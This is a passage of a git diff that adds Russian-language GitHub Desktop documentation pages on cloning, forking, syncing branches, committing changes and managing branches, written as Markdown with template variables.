+ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092321' +--- +## Сведения о локальных репозиториях +Репозитории на {% data variables.product.prodname_dotcom %} являются удаленными. Можно клонировать или разветвить репозиторий с {% data variables.product.prodname_desktop %} для создания локального репозитория на компьютере. + +Можно создать локальную копию любого репозитория на {% data variables.product.product_name %}, к которому у вас есть доступ, путем клонирования репозитория. Если у вас есть репозиторий или права на запись, можно синхронизировать локальное и удаленное расположение. Дополнительные сведения см. в разделе [Синхронизация ветви](/desktop/contributing-and-collaborating-using-github-desktop/syncing-your-branch). + +При клонировании репозитория любые изменения, которые вы отправляете в {% data variables.product.product_name %}, повлияют на исходный репозиторий. Чтобы внести изменения, не затрагивая исходный проект, можно создать отдельную копию, разветвив репозиторий. Можно создать запрос на вытягивание, чтобы предложить ответственным включить изменения в вилке в исходный основной репозиторий. Дополнительные сведения см. в статье [Сведения о вилках](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). + +При попытке использовать {% data variables.product.prodname_desktop %} для клонирования репозитория, к которому у вас нет доступа для записи, {% data variables.product.prodname_desktop %} предложит автоматически создать вилку. Можно использовать свою вилку для внесения вклада в исходный вышестоящий репозиторий или для самостоятельной работы над своим собственным проектом. Все существующие вилки по умолчанию вносят изменения в вышестоящий репозиторий. Можно изменить этот выбор в любое время. Дополнительные сведения см. в разделе [Управление поведением вилки](#managing-fork-behavior). + +Можно также клонировать репозиторий напрямую из {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}. Дополнительные сведения см. в разделе [Клонирование репозитория из {% data variables.product.prodname_dotcom %} в {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop/). + +## Клонирование репозитория + +{% data reusables.desktop.choose-clone-repository %} {% data reusables.desktop.cloning-location-tab %} {% data reusables.desktop.cloning-repository-list %} {% data reusables.desktop.choose-local-path %} {% data reusables.desktop.click-clone %} + +## Создание вилки репозитория +Если клонировать репозиторий, к которому у вас нет доступа для записи, {% data variables.product.prodname_desktop %} создаст вилку. После создания или клонирования вилки {% data variables.product.prodname_desktop %} спросит, как вы планируете использовать вилку. + +{% data reusables.desktop.choose-clone-repository %} {% data reusables.desktop.cloning-location-tab %} {% data reusables.desktop.cloning-repository-list %} {% data reusables.desktop.choose-local-path %} {% data reusables.desktop.click-clone %} {% data reusables.desktop.fork-type-prompt %} + +## Управление поведением вилки +Вы можете изменить поведение вилки с вышестоящим репозиторием в {% data variables.product.prodname_desktop %}. + +{% data reusables.desktop.open-repository-settings %} {% data reusables.desktop.select-fork-behavior %} + +## Создание псевдонима для локального репозитория +Можно создать псевдоним для локального репозитория, чтобы различать репозитории с тем же именем в {% data variables.product.prodname_desktop %}. Создание псевдонима не влияет на имя репозитория на {% data variables.product.prodname_dotcom %}. В списке репозиториев псевдонимы отображаются курсивом. + +1. В левом верхнем углу {% data variables.product.prodname_desktop %} справа от имени текущего репозитория щелкните {% octicon "triangle-down" aria-label="The triangle-down icon" %}. +2. Щелкните правой кнопкой мыши репозиторий, для которого вы хотите создать псевдоним, а затем щелкните **Создать псевдоним**. +3. Введите псевдоним для репозитория. +4. Щелкните **Создать псевдоним**. + +## Дополнительные материалы +- [Сведения об удаленных репозиториях](/github/getting-started-with-github/about-remote-repositories) diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/index.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/index.md new file mode 100644 index 000000000000..18d6f77c6b07 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/index.md @@ -0,0 +1,21 @@ +--- +title: Добавление и клонирование репозиториев +intro: 'Добавьте существующие репозитории с локального компьютера в {% data variables.product.prodname_desktop %} или клонируйте репозитории из {% data variables.product.product_name %}.' +redirect_from: + - /desktop/contributing-to-projects/adding-and-cloning-repositories +versions: + fpt: '*' +children: + - /adding-a-repository-from-your-local-computer-to-github-desktop + - /adding-an-existing-project-to-github-using-github-desktop + - /cloning-and-forking-repositories-from-github-desktop + - /cloning-a-repository-from-github-to-github-desktop +shortTitle: Add & clone repos +ms.openlocfilehash: 1d25f1b3abb248a698ad385ec8511c0b38f5f3c2 +ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147878570' +--- + diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/index.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/index.md new file mode 100644 index 000000000000..95d151f60b93 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/index.md @@ -0,0 +1,22 @@ +--- +title: Участие в работе и совместная работа с использованием GitHub Desktop +shortTitle: Contributing and collaborating +intro: 'Используйте GitHub Desktop для управления проектами, создания значимых фиксаций и отслеживания журнала проекта в приложении вместо командной строки.' +redirect_from: + - /desktop/contributing-to-projects +versions: + fpt: '*' +children: + - /adding-and-cloning-repositories + - /making-changes-in-a-branch + - /managing-commits + - /working-with-your-remote-repository-on-github-or-github-enterprise + - /keeping-your-local-repository-in-sync-with-github +ms.openlocfilehash: 04219b5cbdb70cfa691bcd4dbcf656fac5b39f77 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092318' +--- + diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/index.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/index.md new file mode 100644 index 000000000000..fa258132b9bd --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/index.md @@ -0,0 +1,16 @@ +--- +title: Синхронизация локального репозитория с GitHub +intro: 'Локальный репозиторий можно синхронизировать с удаленным репозиторием при внесении изменений в любой из них. В Git *удаленный* — это сервер, на котором хранится код. В вашем случае этот сервер является репозиторием на {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}.' +versions: + fpt: '*' +children: + - /syncing-your-branch +shortTitle: Sync your local repo +ms.openlocfilehash: 250fc5c6bf413ef8100d4e199a426f647367e7d8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117560' +--- + diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch.md new file mode 100644 index 000000000000..fd3b068f1e76 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch.md @@ -0,0 +1,88 @@ +--- +title: Синхронизация ветви +intro: 'Так как фиксации передаются в проект в {% data variables.product.prodname_dotcom %}, вы можете синхронизировать локальную копию проекта путем ее извлечения из удаленного репозитория.' +redirect_from: + - /desktop/contributing-to-projects/syncing-your-branch + - /desktop/contributing-and-collaborating-using-github-desktop/syncing-your-branch +versions: + fpt: '*' +ms.openlocfilehash: eb803c8f5ef34c4ab25255c1635d31468b1b32af +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092314' +--- +## Сведения о синхронизации ветвей + +Вы можете синхронизировать локальную ветвь с удаленным репозиторием, вытянув все фиксации, которые были добавлены в ветвь на {% data variables.product.product_name %} с момента последней синхронизации. Если вы осуществляете фиксации с другого устройства или в проекте участвуют несколько человек, потребуется синхронизировать локальную ветвь, чтобы обеспечить обновление ветви. + +При вытягивании в локальную ветвь вы обновляете только локальную копию репозитория. Чтобы обновить ветвь на {% data variables.product.prodname_dotcom %}, необходимо отправить изменения. Дополнительные сведения см. в разделе [Отправка изменений в {% data variables.product.prodname_dotcom %}](/desktop/contributing-to-projects/pushing-changes-to-github). + +Чтобы добавить изменения из одной ветви в другую, можно выполнить слияние ветвей. Чтобы применить изменения к вашей ветви из другой ветви в том же репозитории, можно выполнить слияние другой ветви в вашу в {% data variables.product.prodname_desktop %}. Чтобы запросить объединение изменений из вашей ветви в другую ветвь в том же репозитории или в другом репозитории в сети, можно создать запрос на вытягивание в {% data variables.product.prodname_desktop %}. Дополнительные сведения см. в разделах [Слияние другой ветви с вашей ветвью проекта](#merging-another-branch-into-your-project-branch) и [Сведения о запросах на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-requests). + +Для некоторых рабочих процессов обязательным или предпочтительным является перемещение изменений из одной ветви в другую, а не слияние. При этом вы можете переупорядочивать, изменять фиксации или выполнять их сжатие. Дополнительные сведения см. в разделах [О перемещении изменений между ветвями в Git](/github/getting-started-with-github/about-git-rebase) и [Перемещение изменений из вашей ветви проекта в другую ветвь](#rebasing-your-project-branch-onto-another-branch). + +## Извлечение из удаленной ветви в локальную + +1. В {% data variables.product.prodname_desktop %}используйте раскрывающийся список {% octicon "git-branch" aria-label="The branch icon" %} **Текущая ветвь** и выберите локальную ветвь, которую хотите обновить. +2. Чтобы проверить наличие фиксаций в удаленной ветви, нажмите кнопку **Fetch origin** (Принести из origin). +![Кнопка "Fetch origin" (Принести из origin)](/assets/images/help/desktop/fetch-button.png) +3. Чтобы извлечь все фиксации из удаленной ветви, нажмите кнопку **Pull origin** (Отправить в origin) или **Pull origin with rebase** (Отправить в origin с перемещением изменений). +![Кнопка "Pull origin" (Отправить в origin)](/assets/images/help/desktop/pull-button.png) {% data reusables.desktop.resolve-merge-conflicts %} + +## Слияние другой ветви с вашей ветвью проекта + +{% data reusables.desktop.current-branch-menu %} {% data reusables.desktop.choose-a-branch-to-merge %} {% data reusables.desktop.confirm-merging-branch %} + + {% note %} + + **Примечание**. При наличии конфликтов слияния {% data variables.product.prodname_desktop %} выведет предупреждение над кнопкой **Merge <em>ветвь</em> into <em>ветвь</em>** (Слияние "имя ветви" с "имя ветви"). Вы не сможете выполнить слияние ветвей, пока не устраните все конфликты. + + {% endnote %} + + ![Кнопка "Слияние"](/assets/images/help/desktop/merge-branch-button.png) {% data reusables.desktop.push-origin %} + +## Перемещение изменений из вашей ветви проекта в другую + +{% mac %} + +1. В строке меню используйте раскрывающийся список **Branch** (Ветвь) и выберите **Rebase Current Branch** (Переместить изменения для текущей ветви). +![Параметр "Rebase Current Branch" (Переместить изменения для текущей ветви) в раскрывающемся списке ветви](/assets/images/help/desktop/mac-rebase-current-branch.png) +2. Щелкните ветвь, изменения которой нужно переместить в текущую ветвь, а затем нажмите кнопку **Start rebase** (Запустить перемещение). +![Кнопка "Start rebase" (Начать перемещение)](/assets/images/help/desktop/start-rebase-button.png) +3. Если вы окончательно решили выполнить перемещение, нажмите кнопку **Begin rebase** (Начать перемещение). +![Кнопка "Begin rebase" (Начать перемещение)](/assets/images/help/desktop/begin-rebase-button.png) {% data reusables.desktop.resolve-merge-conflicts %} +4. Чтобы отправить локальные изменения, нажмите кнопку **Force push origin** (Принудительно отправить origin). +![Принудительная отправка origin](/assets/images/help/desktop/force-push-origin.png) + +{% endmac %} + +{% windows %} + +1. Используйте раскрывающийся список **Branch** (Ветвь) и выберите **Rebase Current Branch** (Переместить изменения для текущей ветви). +![Параметр "Rebase Current Branch" (Переместить изменения для текущей ветви) в раскрывающемся списке ветви](/assets/images/help/desktop/windows-rebase-current-branch.png) +2. Щелкните ветвь, изменения которой нужно переместить в текущую ветвь, а затем нажмите кнопку **Start rebase** (Запустить перемещение). +![Кнопка "Start rebase" (Начать перемещение)](/assets/images/help/desktop/start-rebase-button.png) +3. Если вы окончательно решили выполнить перемещение, нажмите кнопку **Begin rebase** (Начать перемещение). +![Кнопка "Begin rebase" (Начать перемещение)](/assets/images/help/desktop/begin-rebase-button.png) {% data reusables.desktop.resolve-merge-conflicts %} +4. Чтобы отправить локальные изменения, нажмите кнопку **Force push origin** (Принудительно отправить origin). +![Принудительная отправка origin](/assets/images/help/desktop/force-push-origin.png) + +{% endwindows %} + +## Слияние со сжатием другой ветви с вашей ветвью проекта + +1. Используйте раскрывающийся список **Branch** (Ветвь) и выберите **Squash and Merge into Current Branch** (Слияние со сжатием в текущую ветвь). +![Параметр слияния со сжатием в раскрывающемся списке ветви](/assets/images/help/desktop/squash-and-merge-menu.png) +2. Выберите ветвь, которую требуется объединить с текущей, а затем щелкните **Squash and merge** (Слияние со сжатием). +![Кнопка "Squash and merge" (Слияние со сжатием)](/assets/images/help/desktop/squash-and-merge-selection.png) {% note %} + + **Примечание**. При наличии конфликтов слияния {% data variables.product.prodname_desktop %} выведет предупреждение над кнопкой **Squash and merge** (Слияние со сжатием). Вы не сможете выполнить слияние со сжатием для ветви, пока не устраните все конфликты. + + {% endnote %} {% data reusables.desktop.push-origin %} + +## Дополнительные материалы +- Термин [Вытягивание](/github/getting-started-with-github/github-glossary#pull) в глоссарии {% data variables.product.prodname_dotcom %} +- Термин [Слияние](/github/getting-started-with-github/github-glossary#merge) в глоссарии {% data variables.product.prodname_dotcom %} +- Термин [Перемещение изменений из одной ветви в другую](/github/getting-started-with-github/github-glossary#rebase) в глоссарии {% data variables.product.prodname_dotcom %} diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project.md new file mode 100644 index 000000000000..706812b670df --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project.md @@ -0,0 +1,133 @@ +--- +title: Фиксация и проверка изменений в проекте +intro: '{% data variables.product.prodname_desktop %} отслеживает все изменения всех файлов в процессе их редактирования. Вы можете решить, как сгруппировать изменения для создания значимых фиксаций.' +redirect_from: + - /desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project + - /desktop/contributing-and-collaborating-using-github-desktop/committing-and-reviewing-changes-to-your-project +versions: + fpt: '*' +shortTitle: Commit & review changes +ms.openlocfilehash: ecc12722a7d0eebeedc13878972d138ca894db5a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145117555' +--- +## Сведения о фиксациях + +{% data reusables.commits.about-commits %} Вы также можете добавить соавтора для фиксаций, над которыми вы работаете совместно с другими пользователями. + +{% data reusables.desktop.update-email-address %} Дополнительные сведения см. в статье [Настройка Git для GitHub Desktop](/desktop/getting-started-with-github-desktop/configuring-git-for-github-desktop). + +## Выбор ветви и внесение изменений + +1. [Создайте новую ветвь](/desktop/guides/contributing-to-projects/managing-branches) или выберите существующую ветвь, щелкнув {% octicon "git-branch" aria-label="The branch icon" %} **Текущая ветвь** на панели инструментов и выбрав ветвь из списка. + + ![Раскрывающееся меню для переключения текущей ветви](/assets/images/help/desktop/select-branch-from-dropdown.png) {% data reusables.desktop.make-changes %} + +## Выбор способа отображения различий + +Вы можете изменить способ отображения различий в {% data variables.product.prodname_desktop %} в соответствии с потребностями проверки. + +Чтобы изменить способ просмотра различий, в правом верхнем углу представления различий щелкните {% octicon "gear" aria-label="The Gear icon" %}. +- Чтобы изменить способ отображения всего различия, в разделе "Отображение различия" выберите **Объединенное** или **Разделенное**. В объединенном представлении изменения отображаются линейно, в то время как в разделенном представлении старое содержимое отображается слева, новое — справа. +- Чтобы скрыть изменения пробелов и сосредоточиться на более существенных изменениях, выберите **Скрыть изменения пробелов**. + +![Меню параметров инструмента сравнения](/assets/images/help/desktop/diff-selection.png) + +Если вам нужно увидеть больше файла, чем {% data variables.product.prodname_desktop %} отображает по умолчанию, можно развернуть инструмент сравнения. +- Чтобы увидеть следующие несколько строк выше или ниже выделенных изменений, щелкните стрелку над или под номерами строк. +- Чтобы просмотреть весь файл, щелкните правой кнопкой мыши представление различий и выберите пункт **Развернуть весь файл**. + +![Развертывание представления различий](/assets/images/help/desktop/expand-diff-view.png) + +## Выбор изменений для включения в фиксацию + +При внесении изменений в файлы в текстовом редакторе и их локальном сохранении вы также увидите изменения в {% data variables.product.prodname_desktop %}. + +* Красный значок {% octicon "diff-removed" aria-label="The diff removed icon color-red" %} указывает на удаленные файлы. +* Желтый значок {% octicon "diff-modified" aria-label="The diff modified icon color-yellow" %} указывает на измененные файлы. +* Зеленый значок {% octicon "diff-added" aria-label="The diff added icon color-green" %} указывает на добавленные файлы. +* Чтобы получить доступ к спрятанным изменениям, нажмите кнопку **Спрятанные изменения**. + + ![Параметр "Спрятанные изменения"](/assets/images/help/desktop/stashed-changes.png) +* {% data reusables.desktop.commit-all-desc %} + + ![Установите флажок для фиксации всех измененных файлов](/assets/images/help/desktop/commit-all.png) +* {% data reusables.desktop.commit-some-desc %} + + ![Установите флажки рядом с файлами, которые нужно зафиксировать](/assets/images/help/desktop/commit-some.png) + +### Создание частичной фиксации + +Если один файл содержит несколько изменений, но вы хотите включить некоторые из этих изменений в фиксацию, можно создать частичную фиксацию. Остальные изменения останутся неизменными, чтобы можно было внести дополнительные изменения и фиксации. Это позволяет выполнять отдельные значимые фиксации, такие как сохранение изменений разрывов строк в фиксации отдельно от изменений кода или текста. + +Чтобы исключить измененные строки из фиксации, щелкните одну или несколько измененных строк, чтобы синий цвет исчез. Строки, которые по-прежнему выделены синим цветом, будут включены в фиксацию. + + ![Невыбранные строки в файле](/assets/images/help/desktop/partial-commit.png) + +## Отмена изменений +Если у вас есть незафиксированные изменения, которые вы не хотите сохранить, можно отменить изменения. Это приведет к удалению изменений из файлов на компьютере. Вы можете отменить все незафиксированные изменения в одном или нескольких файлах или удалить определенные строки, добавленные вами. + +Отмененные изменения сохраняются в устаревшем файле в корзине. Вы можете восстановить отмененные изменения до очистки корзины. + +### Отмена изменений в одном или нескольких файлах + +{% data reusables.desktop.select-discard-files %} {% data reusables.desktop.click-discard-files %} + + ![Пункт отмены изменений в контекстном меню](/assets/images/help/desktop/discard-changes-mac.png) {% data reusables.desktop.confirm-discard-files %} + + ![Кнопка "Отменить изменения" в диалоговом окне подтверждения](/assets/images/help/desktop/discard-changes-confirm-mac.png) + +### Отмена изменений в одной или нескольких строках +Можно отменить одну или несколько измененных строк, которые не были зафиксированы. + +{% note %} + +**Примечание:** удаление отдельных строк отключено в группе изменений, добавляющих и удаляющих строки. + +{% endnote %} + +Чтобы отменить одну добавленную строку, в списке измененных строк щелкните правой кнопкой мыши строку, которую нужно отменить, и выберите **Отменить добавленную строку**. + + ![Отмена одной строки в диалоговом окне подтверждения](/assets/images/help/desktop/discard-single-line.png) + +Чтобы отменить группу измененных строк, щелкните правой кнопкой мыши вертикальную полосу справа от номеров тех строк, которые нужно отменить, а затем выберите **Отменить добавленные строки**. + + ![Отмена группы добавленных строк в диалоговом окне подтверждения](/assets/images/help/desktop/discard-multiple-lines.png) + + +## Написание сообщения о фиксации и отправка изменений + +Когда вы выберете все изменения, которые нужно включить в фиксацию, напишите сообщение о фиксации и отправьте изменения. Если вы совместно работали над фиксацией с другими пользователями, вы также можете атрибутировать фиксацию нескольким авторам. + +{% note %} + +**Примечание:** {% data reusables.desktop.tags-push-with-commits %} Дополнительные сведения см. в статье [Управление тегами](/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/managing-tags). + +{% endnote %} + +{% data reusables.desktop.commit-message %} + + ![Поле сообщения о фиксации](/assets/images/help/desktop/commit-message.png) +1. При необходимости, чтобы атрибутировать фиксацию другому автору, щелкните значок добавления соавторов и введите имена пользователей, которые вы хотите включить. + + ![Добавление соавтора в сообщение о фиксации](/assets/images/help/desktop/add-co-author-commit.png) {% data reusables.desktop.commit-button %} + + ![Кнопка "Зафиксировать"](/assets/images/help/desktop/commit-button.png) +4. Если ветвь, которую вы пытаетесь зафиксировать, защищена, Desktop предупредит вас. + - Чтобы переместить изменения, щелкните **переключатель ветвей**. + - Чтобы зафиксировать изменения в защищенной ветви, нажмите кнопку **Зафиксировать в _название_ветви_**. + + Дополнительные сведения о защищенных ветвях см. в статье [Сведения о защищенных ветвях](/github/administering-a-repository/about-protected-branches). + + ![Предупреждение о защищенной ветви](/assets/images/help/desktop/protected-branch-warning.png) {% data reusables.desktop.push-origin %} + +6. Если у вас есть запрос на вытягивание, основанный на работающей ветви, {% data variables.product.prodname_desktop %} отобразит состояние проверок, выполненных для запроса на вытягивание. Дополнительные сведения о проверках приведены в статье [Просмотр и повторная проверка в GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop). + + ![Отображение проверки рядом с именем ветви](/assets/images/help/desktop/checks-dialog.png) + + Если запрос на вытягивание не был создан для текущей ветви, {% data variables.product.prodname_desktop %} предоставит вам возможность создать ее. Дополнительные сведения см. в статье [Создание проблемы или запроса на вытягивание](/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request). + + ![Создание запроса на включение изменений](/assets/images/help/desktop/mac-create-pull-request.png) diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md new file mode 100644 index 000000000000..42d4793a906e --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md @@ -0,0 +1,16 @@ +--- +title: Making changes in a branch +intro: 'Use your favorite text editor, such as [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), to make changes to your project, then use {% data variables.product.prodname_desktop %} to visualize useful commits.' +redirect_from: + - /desktop/contributing-to-projects/making-changes-in-a-branch +versions: + fpt: '*' +children: + - /managing-branches + - /committing-and-reviewing-changes-to-your-project + - /stashing-changes + - /viewing-the-branch-history + - /pushing-changes-to-github +shortTitle: Make changes in a branch +--- + diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md new file mode 100644 index 000000000000..11af7c1d1e6a --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md @@ -0,0 +1,100 @@ +--- +title: Управление ветвями +intro: 'Вы можете создать ветвь на основе ветви репозитория по умолчанию, чтобы можно было безопасно экспериментировать с различными изменениями.' +redirect_from: + - /desktop/contributing-to-projects/creating-a-branch-for-your-work + - /desktop/contributing-to-projects/switching-between-branches + - /desktop/contributing-to-projects/managing-branches + - /desktop/contributing-and-collaborating-using-github-desktop/managing-branches +versions: + fpt: '*' +ms.openlocfilehash: 30604c6b3ed0ab9ca5c0f3f8ca0fe853624ee86b +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147886945' +--- +## Сведения об управлении ветвями +С помощью ветвей можно безопасно экспериментировать с изменениями в проекте. Ветви изолируют разработку от других ветвей в репозитории. Например, можно использовать ветвь для разработки новой функции или исправления ошибки. + +Вы всегда создаете ветвь из существующей ветви. Как правило, ветвь можно создать из ветви по умолчанию репозитория. Затем в этой новой ветви можно работать без учета изменений, вносимых в репозиторий другими людьми. + +Вы также можете создать ветвь, начиная с предыдущей фиксации в журнале ветви. Это может быть удобно, если вам нужно вернуться к предыдущему представлению репозитория для исследования ошибки или создать исправление поверх последнего выпуска. + +Добившись удовлетворительного результата, вы можете создать запрос на вытягивание, чтобы объединить изменения в текущей ветви с другой ветвью. Дополнительные сведения см. в разделах [Создание проблемы или запроса на вытягивание](/desktop/contributing-to-projects/creating-an-issue-or-pull-request) и [Сведения о запросах на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). + +Вы всегда можете создать ветвь в {% data variables.product.prodname_desktop %}, если у вас есть доступ на чтение к репозиторию, но вы можете отправить ветвь в {% data variables.product.prodname_dotcom %} только в том случае, если у вас есть доступ на запись в репозиторий. + +{% data reusables.desktop.protected-branches %} + +## Создание ветви + +{% tip %} + +**Совет**. Первая созданная вами ветвь будет основана на ветви по умолчанию. Если у вас несколько ветвей, ветвь можно создать на основе текущей извлеченной ветви или ветви по умолчанию. + +{% endtip %} + +{% mac %} + +{% data reusables.desktop.click-base-branch-in-drop-down %} ![ Раскрывающееся меню для переключения текущей ветви](/assets/images/help/desktop/select-branch-from-dropdown.png) {% data reusables.desktop.create-new-branch %} ![Параметр "Новая ветвь" в меню ветви](/assets/images/help/desktop/new-branch-button-mac.png) {% data reusables.desktop.name-branch %} ![Поле для создания имени новой ветви](/assets/images/help/desktop/create-branch-name-mac.png) {% data reusables.desktop.select-base-branch %} ![Параметры базовой ветви](/assets/images/help/desktop/create-branch-choose-branch-mac.png) {% data reusables.desktop.confirm-new-branch-button %} ![Кнопка "Создать ветвь"](/assets/images/help/desktop/create-branch-button-mac.png) + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.click-base-branch-in-drop-down %} ![ Раскрывающееся меню для переключения текущей ветви](/assets/images/help/desktop/click-branch-in-drop-down-win.png) {% data reusables.desktop.create-new-branch %} ![Параметр "Новая ветвь" в меню ветви](/assets/images/help/desktop/new-branch-button-win.png) {% data reusables.desktop.name-branch %} ![Поле для создания имени новой ветви](/assets/images/help/desktop/create-branch-name-win.png) {% data reusables.desktop.select-base-branch %} ![Параметры базовой ветви](/assets/images/help/desktop/create-branch-choose-branch-win.png) {% data reusables.desktop.confirm-new-branch-button %} ![Кнопка "Создать ветвь"](/assets/images/help/desktop/create-branch-button-win.png) + +{% endwindows %} + +## Создание ветви из предыдущей фиксации + +{% data reusables.desktop.history-tab %} +2. Щелкните правой кнопкой мыши фиксацию, из которой нужно создать ветвь, и выберите **Create Branch from Commit** (Создать ветвь из фиксации). + ![Контекстное меню для создания ветви из фиксации](/assets/images/help/desktop/create-branch-from-commit-context-menu.png) {% data reusables.desktop.name-branch %} {% data reusables.desktop.confirm-new-branch-button %} ![Создание ветви из фиксации](/assets/images/help/desktop/create-branch-from-commit-overview.png) + +## Публикация ветви + +Если вы создаете ветвь на {% data variables.product.product_name %}, ее потребуется опубликовать, чтобы сделать доступной для совместной работы на {% data variables.product.prodname_dotcom %}. + +1. В верхней части приложения щелкните {% octicon "git-branch" aria-label="The branch icon" %} **Текущая ветвь**, а затем выберите ветвь, которую нужно опубликовать. + ![Раскрывающееся меню для выбора публикуемой ветви](/assets/images/help/desktop/select-branch-from-dropdown.png) +2. Нажмите кнопку **Опубликовать ветвь**. + ![Кнопка "Опубликовать ветвь"](/assets/images/help/desktop/publish-branch-button.png) + +## Переключение между ветвями +Вы можете просматривать и выполнять фиксации в любой из ветвей репозитория. При наличии незафиксированных сохраненных изменений вам нужно решить, что с ними делать, прежде чем переключать ветви. Вы можете зафиксировать изменения в текущей ветви, спрятать изменения, чтобы временно сохранить их в текущей ветви, или перенести изменения в новую ветвь. Если вы хотите зафиксировать изменения перед переключением ветвей, см. раздел [Фиксация и проверка изменений в проекте](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project). +{% tip %} + +**Совет**. Вы можете задать поведение по умолчанию для переключения ветвей в параметрах **Дополнительно**. Дополнительные сведения см. в разделе [Настройка основных параметров](/desktop/getting-started-with-github-desktop/configuring-basic-settings). + +{% endtip %} + +{% data reusables.desktop.current-branch-menu %} {% data reusables.desktop.switching-between-branches %} ![Список ветвей в репозитории](/assets/images/help/desktop/select-branch-from-dropdown.png) +3. При наличии сохраненных незафиксированных изменений, выберите **Leave my changes** (Оставить изменения) или **Bring my changes** (Перенести изменения), а затем **Switch Branch** (Переключить ветвь). + ![Параметры переключения ветви с изменениями](/assets/images/help/desktop/stash-changes-options.png) + +## Удаление ветви + +Вы не можете удалить ветвь, если в настоящее время она связана с открытым запросом на вытягивание. Отменить удаление ветви невозможно. + +{% mac %} + +{% data reusables.desktop.select-branch-to-delete %} ![Раскрывающееся меню для выбора удаляемой ветви](/assets/images/help/desktop/select-branch-from-dropdown.png) {% data reusables.desktop.delete-branch-mac %} ![Параметр "Удалить..." в меню ветви](/assets/images/help/desktop/delete-branch-mac.png) + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.select-branch-to-delete %} ![Раскрывающееся меню для выбора удаляемой ветви](/assets/images/help/desktop/select-branch-from-dropdown.png) {% data reusables.desktop.delete-branch-win %} ![Параметр "Удалить..." в меню ветви](/assets/images/help/desktop/delete-branch-win.png) + +{% endwindows %} + +## Дополнительные материалы + +- [Клонирование репозитория из {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop) +- Термин [Ветвь](/articles/github-glossary/#branch) в глоссарии {% data variables.product.prodname_dotcom %} +- [Сведения о ветвях](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) +- Раздел [Branches in a Nutshell](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell) (Коротко о ветвях) в 